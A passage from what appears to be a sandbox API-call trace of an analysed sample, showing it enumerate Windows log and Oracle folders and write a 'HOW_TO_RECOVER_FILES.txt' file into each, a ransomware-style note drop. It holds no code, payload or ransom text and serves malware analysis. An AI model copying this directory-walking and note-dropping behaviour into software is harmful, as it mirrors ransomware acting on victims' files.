ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x4e6dab1f, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x5454d5b0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x60de6047, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x60de6047, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa72ae253, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xcb3f3780, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x5ca8efbc, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8784f695, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0152.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4346f4fe, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4346f4fe, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0152.239] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x745a10f, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0x318cac0d, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0152.239] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd59be406, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd59be406, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0152.239] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x198319d2, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3f449663, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0152.239] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1c505b8c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58b60423, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0152.239] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdaf93ab4, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x87be9f6, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0152.239] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1977635c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1977635c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0152.240] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfc820227, ftLastAccessTime.dwHighDateTime=0x1d3375a, ftLastWriteTime.dwLowDateTime=0x2521b8a4, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0152.240] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd9caf15, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfd9caf15, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UP9D42~1.ETL")) returned 1 [0152.240] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda210f79, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xb10a27a8, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPB8BA~1.ETL")) returned 1 [0152.240] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe0798fd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79d33ce, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPAC79~1.ETL")) returned 1 [0152.240] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7a24386, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x56762f51, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.019.etl", cAlternateFileName="UP1E42~1.ETL")) returned 1 [0152.240] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1fc4717b, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x46bc7f04, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.020.etl", cAlternateFileName="UP597C~1.ETL")) returned 1 [0152.241] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x22cb9437, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x911dff9b, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.021.etl", cAlternateFileName="UP0CB7~1.ETL")) returned 1 [0152.241] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8f4581c2, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0xb62eafb0, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.022.etl", cAlternateFileName="UPBE04~1.ETL")) returned 1 [0152.241] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f83b96b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x82808de1, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.023.etl", cAlternateFileName="UPA620~1.ETL")) returned 1 [0152.241] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcae2810e, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xf21e09d1, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.024.etl", cAlternateFileName="UP14AB~1.ETL")) returned 1 [0152.241] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcd491119, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x2e5f9ec7, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.025.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0152.241] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xb30910b4, ftLastAccessTime.dwHighDateTime=0x1d3278b, ftLastWriteTime.dwLowDateTime=0xe1a1828d, ftLastWriteTime.dwHighDateTime=0x1d3278b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.026.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0152.242] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbda7099b, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xe19a12b7, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.027.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0152.242] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa972a1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x266bdfb9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.028.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0152.242] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x8243765a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x889a9e61, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0152.242] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 1 [0152.242] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fa4f40f, ftCreationTime.dwHighDateTime=0x1d336de, ftLastAccessTime.dwLowDateTime=0x6fa4f40f, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x7e0bea63, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UP1018~1.ETL")) returned 0 [0152.242] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0152.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0152.245] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0152.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0152.245] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.246] GetFileType (hFile=0x7dc) returned 0x1 [0152.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0152.246] GetFileType (hFile=0x7dc) returned 0x1 [0152.246] WriteFile (in: hFile=0x7dc, lpBuffer=0x37f2868*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x37f2868*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.247] CloseHandle (hObject=0x7dc) returned 1 [0152.247] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0152.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0152.247] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\usoshared\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.248] GetFileType (hFile=0x7dc) returned 0x1 [0152.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0152.248] GetFileType (hFile=0x7dc) returned 0x1 [0152.249] WriteFile (in: hFile=0x7dc, lpBuffer=0x37f6090*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x37f6090*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0152.250] CloseHandle (hObject=0x7dc) returned 1 [0152.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.360] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0152.360] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.360] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.360] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x411f408e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.361] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0152.361] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0152.361] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0152.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0152.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.361] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0152.361] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.361] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.361] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x411f408e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x411f408e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.362] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0152.362] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 